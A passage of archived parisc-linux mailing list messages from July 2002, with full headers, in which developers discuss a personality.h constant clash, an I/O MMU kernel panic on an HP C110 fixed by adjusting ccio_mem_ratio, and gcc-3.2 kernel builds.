References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk> <1026913104.3d357350a4057@webmail.tiscalinet.be> <20020717144543.A13352@parcelfarce.linux.theplanet.co.uk> <1026914852.3d357a24c4a4a@webmail.tiscalinet.be> <20020717142915.GG641@tausq.org> <1026922060.5709.148.camel@irongate.swansea.linux.org.uk>  <20020717150349.GN8724@tausq.org> <1026925311.5709.153.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621540 11158 80.91.229.3 (22 Nov 2014 01:59:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:00 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	HPPA List <parisc-linux@parisc-linux.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 11:37:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF0DB48DA
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 11:37:39 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17Usjo-0000D4-00; Wed, 17 Jul 2002 19:37:20 +0200
In-Reply-To: <1026925311.5709.153.camel@irongate.swansea.linux.org.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15558

Hi,

I merge my 19-rc1 stuff with 19-rc2 and just enounter a conflict in
include/linux/personality.h:

enum{
...
+        PER_OSF4= 0x000f,

unfortunaltely the same as our:
         PER_HPUX= 0x000f,

What should I do?

Joel



-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel panic, ccio-dma.c, C110
Date: Wed, 17 Jul 2002 17:50:53 +0200
Organization: Power Penguin Club
Lines: 30
Approved: news@gmane.org
Message-ID: <3D35925D.71683E92@ruhr-west.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621540 11161 80.91.229.3 (22 Nov 2014 01:59:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:00 +0000 (UTC)
To: parisc list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 11:43:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout03.sul.t-online.com (mailout03.sul.t-online.com [194.25.134.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id B1F1248DD
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Jul 2002 11:43:05 -0600 (MDT)
Original-Received: from fwd11.sul.t-online.de 
	by mailout03.sul.t-online.com with smtp 
	id 17UrL2-0008Ie-0J; Wed, 17 Jul 2002 18:07:40 +0200
Original-Received: from marvin.forty.two (520058847159-0001@[217.5.22.46]) by fmrl11.sul.t-online.com
	with esmtp id 17UrKy-1g3MPoC; Wed, 17 Jul 2002 18:07:36 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by marvin.forty.two (8.11.6/8.11.0/SuSE Linux 8.11.0-0.4) with ESMTP id g6HFp3Z13379
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Jul 2002 17:51:03 +0200
Original-Received: from ruhr-west.de (localhost [127.0.0.1])
	by localhost (AvMailGate-6.13.0.1) id 13375-2829E394;
	Wed, 17 Jul 2002 17:50:53 +0200
X-AntiVirus: OK! AvMailGate Version 6.13.0.26
	 at marvin has not found any known virus in this email.
X-Mailer: Mozilla 4.78 [de] (X11; U; Linux 2.4.16-4GB i686)
X-Sender: 520058847159-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15559

Hi all,

I am experiancing repeatable kernel panics on my C110. I upgraded the
kernel to 2.4.18-pa53, but without change. ;-(

Famous last words are:

Kernel panic: ccio-dma.c ccio_alloc_range() I/O MMU is out of mapping
resources.
In interrupt handler - not syncing

After that - black screen, last words and silence. On one occasion, it
spat out a bit more before it died. Sort of SCSI-Bus trouble in the
farmost sense. Could not repeat that. Harddrive is an old HP2490A, that
came foating around. I did not want to erase the hpux on the other
drives.
All I need to do to crash the machine is writing big files (i.e. kernel
tarballs) to the drive (either copying or from ftp). What makes me
wonder is that I was able to copy some 300 MB *.wav file to it some
weeks back.


Juergen

-- 
===========================================     __   _
Juergen Braukmann juergen.braukmann@gmx.de| -o)/ /  (_)__  __ ____  __
Tel: 0201-743648  dk4jb@db0qs.#nrw.deu.eu | /\\ /__/ / _ \/ // /\ \/ /
===========================================_\_v __/_/_//_/\_,_/ /_/\_\


From - Thu Nov 08 21:23:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-3.2 Ok gcc-3.1.1 Ko (was Re: [parisc-linux] gcc-3.2 bootstrap?)
Date: Wed, 17 Jul 2002 19:44:04 +0200 (CEST)
Lines: 24
Approved: news@gmane.org
Message-ID: <1026927844.3d35ace43b220@webmail.tiscalinet.be>
References: <200207161812.g6GICDIp023677@hiauly1.hia.nrc.ca> <1026925794.3d35a4e296ccf@webmail.tiscalinet.be> <20020717183200.G13352@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621540 11166 80.91.229.3 (22 Nov 2014 01:59:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:00 +0000 (UTC)
Cc: Joel Soete <joel.soete@freebel.net>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 11:44:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0CC0048E1
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 11:44:12 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17UsqK-0000J3-00; Wed, 17 Jul 2002 19:44:04 +0200
In-Reply-To: <20020717183200.G13352@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15560

Quoting Matthew Wilcox <willy@debian.org>:

> On Wed, Jul 17, 2002 at 07:09:54PM +0200, Joel Soete wrote:
> > To summarise:
> > This clean should be applied without problem (test with gcc-3.2 and
> gcc-3.0.4)
> > 
> > This allow me to produce an operational kernel with gcc-3.2 (bootstrap
> an x);
> > telnet, ftp and ssh connection OK
> 
> but did you test modules?
> 
They were all together build with 'make oldconfig' after a distclean, so yes
with modules support. A monolithic test should be interesting? (I already do
this test for gcc-3.1 not 3.1.1 it does not bring success)

Joel



-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic, ccio-dma.c, C110
Date: Wed, 17 Jul 2002 19:57:15 +0200 (CEST)
Lines: 22
Approved: news@gmane.org
Message-ID: <1026928635.3d35affb24e7e@webmail.tiscalinet.be>
References: <3D35925D.71683E92@ruhr-west.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621541 11167 80.91.229.3 (22 Nov 2014 01:59:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:01 +0000 (UTC)
Cc: parisc list <parisc-linux@lists.parisc-linux.org>
To: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 11:57:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 13BDC484A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Jul 2002 11:57:18 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17Ut35-0005I3-00; Wed, 17 Jul 2002 19:57:15 +0200
In-Reply-To: <3D35925D.71683E92@ruhr-west.de>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15561

Quoting Juergen Braukmann <juergen.braukmann@ruhr-west.de>:


> All I need to do to crash the machine is writing big files (i.e. kernel
> tarballs) to the drive (either copying or from ftp). What makes me
> wonder is that I was able to copy some 300 MB *.wav file to it some
> weeks back.
> 
Do you also check scsi terminator (palinux is more sensible than hpux)?

What says dd if=/dev/sdi of=/dev/null

If you have an hp diagnostics CD boot with it to analyse your disk?

Joel




-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-3.2 Ok gcc-3.1.1 Ko (was Re: [parisc-linux] gcc-3.2 bootstrap?)
Date: Wed, 17 Jul 2002 19:10:33 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20020717191033.H13352@parcelfarce.linux.theplanet.co.uk>
References: <200207161812.g6GICDIp023677@hiauly1.hia.nrc.ca> <1026925794.3d35a4e296ccf@webmail.tiscalinet.be> <20020717183200.G13352@parcelfarce.linux.theplanet.co.uk> <1026927844.3d35ace43b220@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621541 11169 80.91.229.3 (22 Nov 2014 01:59:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:01 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 12:10:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8EA974877
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 12:10:38 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17UtFx-00037S-00; Wed, 17 Jul 2002 19:10:33 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1026927844.3d35ace43b220@webmail.tiscalinet.be>; from joel.soete@freebel.net on Wed, Jul 17, 2002 at 07:44:04PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15562

On Wed, Jul 17, 2002 at 07:44:04PM +0200, joel.soete@freebel.net wrote:
> Quoting Matthew Wilcox <willy@debian.org>:
> > but did you test modules?
> They were all together build with 'make oldconfig' after a distclean, so yes
> with modules support. A monolithic test should be interesting? (I already do
> this test for gcc-3.1 not 3.1.1 it does not bring success)

build is not sufficient; the EXPORT_MODULE stuff can only be tested by
loading modules at runtime.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic, ccio-dma.c, C110
Date: Wed, 17 Jul 2002 12:14:59 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20020717181459.CCD8E48CF@dsl2.external.hp.com>
References: <3D35925D.71683E92@ruhr-west.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621541 11170 80.91.229.3 (22 Nov 2014 01:59:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:01 +0000 (UTC)
Cc: parisc list <parisc-linux@lists.parisc-linux.org>
To: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 12:14:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id CCD8E48CF; Wed, 17 Jul 2002 12:14:59 -0600 (MDT)
In-Reply-To: Message from Juergen Braukmann <juergen.braukmann@ruhr-west.de> 
   of "Wed, 17 Jul 2002 17:50:53 +0200." <3D35925D.71683E92@ruhr-west.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15563

Juergen Braukmann wrote:
> Kernel panic: ccio-dma.c ccio_alloc_range() I/O MMU is out of mapping
> resources.

Sorry Joel, this has nothing to do with SCSI termination.

Juergen,
In arch/parisc/kernel/ccio-dma.c, change ccio_mem_ratio from 4 to 8 or 16.
For more explanation, search for "Determine IOVA Space size" in ccio-dma.c.

grant


From - Thu Nov 08 21:23:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Merge -rc1 -rc2 (was 2.4.19-rc1-ac6 Merge pa55:
	#error ...?)
Date: 17 Jul 2002 21:09:09 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <1026936549.1688.157.camel@irongate.swansea.linux.org.uk>
References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk>
	<1026913104.3d357350a4057@webmail.tiscalinet.be>
	<20020717144543.A13352@parcelfarce.linux.theplanet.co.uk>
	<1026914852.3d357a24c4a4a@webmail.tiscalinet.be>
	<20020717142915.GG641@tausq.org>
	<1026922060.5709.148.camel@irongate.swansea.linux.org.uk> 
	<20020717150349.GN8724@tausq.org>
	<1026925311.5709.153.camel@irongate.swansea.linux.org.uk> 
	<1026927440.3d35ab5042756@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621542 11195 80.91.229.3 (22 Nov 2014 01:59:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:02 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	HPPA List <parisc-linux@parisc-linux.org>
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 12:58:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18103489F
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 12:58:55 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g6HK9Cu6007372;
	Wed, 17 Jul 2002 21:09:13 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g6HK99LH007370;
	Wed, 17 Jul 2002 21:09:09 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <1026927440.3d35ab5042756@webmail.tiscalinet.be>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15564

On Wed, 2002-07-17 at 18:37, joel.soete@freebel.net wrote:
> Hi,
> 
> I merge my 19-rc1 stuff with 19-rc2 and just enounter a conflict in
> include/linux/personality.h:
> 
> enum{
> ...
> +        PER_OSF4= 0x000f,
> 
> unfortunaltely the same as our:
>          PER_HPUX= 0x000f,
> 
> What should I do?

I've asked Marcelo to use 0x0010 for OSF4 (its just added and not an
established constant)



From - Thu Nov 08 21:23:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic, ccio-dma.c, C110
Date: 17 Jul 2002 17:53:00 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <1026949980.10285.4.camel@beavis>
References: <3D35925D.71683E92@ruhr-west.de>  
	<20020717181459.CCD8E48CF@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621542 11207 80.91.229.3 (22 Nov 2014 01:59:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:02 +0000 (UTC)
Cc: Juergen Braukmann <juergen.braukmann@ruhr-west.de>,
	parisc list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 17:53:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A1DF486C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Jul 2002 17:53:04 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 9B42DBCAD; Wed, 17 Jul 2002 17:53:00 -0600 (MDT)
In-Reply-To: <20020717181459.CCD8E48CF@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.0.7 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15565

Grant,

Is there a way to make this more intelligent now that we have an I/O
tree?  Maybe driverfs in 2.5.X will help us figure out how to make it
smarter ... it kinda sucks to recompile the kernel because you do not
have enough memory for our default setting of 4.

Seems like we could develop a huristic based on devices below the
iommus.

Just a thought..

- Ryan


On Wed, 2002-07-17 at 12:14, Grant Grundler wrote:
> Juergen Braukmann wrote:
> > Kernel panic: ccio-dma.c ccio_alloc_range() I/O MMU is out of mapping
> > resources.
> 
> Sorry Joel, this has nothing to do with SCSI termination.
> 
> Juergen,
> In arch/parisc/kernel/ccio-dma.c, change ccio_mem_ratio from 4 to 8 or 16.
> For more explanation, search for "Determine IOVA Space size" in ccio-dma.c.
> 
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:23:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic, ccio-dma.c, C110
Date: Thu, 18 Jul 2002 07:37:06 +0200 (CEST)
Lines: 19
Approved: news@gmane.org
Message-ID: <1026970626.3d36540295867@webmail.tiscalinet.be>
References: <3D35925D.71683E92@ruhr-west.de> <20020717181459.CCD8E48CF@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621542 11209 80.91.229.3 (22 Nov 2014 01:59:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:02 +0000 (UTC)
Cc: Juergen Braukmann <juergen.braukmann@ruhr-west.de>,
	parisc list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 23:37:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id E1A0F486C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Jul 2002 23:37:19 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17V3yM-0002oM-00; Thu, 18 Jul 2002 07:37:06 +0200
In-Reply-To: <20020717181459.CCD8E48CF@dsl2.external.hp.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
